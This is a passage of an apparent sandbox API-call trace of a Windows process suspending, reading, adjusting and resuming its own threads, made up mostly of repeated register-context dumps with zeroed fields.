dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0163.388] SuspendThread (hThread=0x1c8) returned 0x0 [0163.389] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d1c98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc21e60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0163.389] SetThreadContext (hThread=0x1c8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d1c90, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0163.389] ResumeThread (hThread=0x1c8) returned 0x1 [0163.389] CloseHandle (hObject=0x1c8) returned 1 [0163.390] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0163.504] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0163.692] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0163.693] SuspendThread (hThread=0x1c8) returned 0x0 [0163.693] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d1da8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8aa420, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0163.705] SetThreadContext (hThread=0x1c8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d1da0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0163.705] ResumeThread (hThread=0x1c8) returned 0x1 [0163.705] CloseHandle (hObject=0x1c8) returned 1 [0163.705] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0163.710] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0163.711] timeEndPeriod (uPeriod=0x1) returned 0x0 [0163.711] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0165.317] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0165.686] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0165.815] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0165.815] SuspendThread (hThread=0x1c8) returned 0x0 [0165.815] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f5c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f79e980, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, 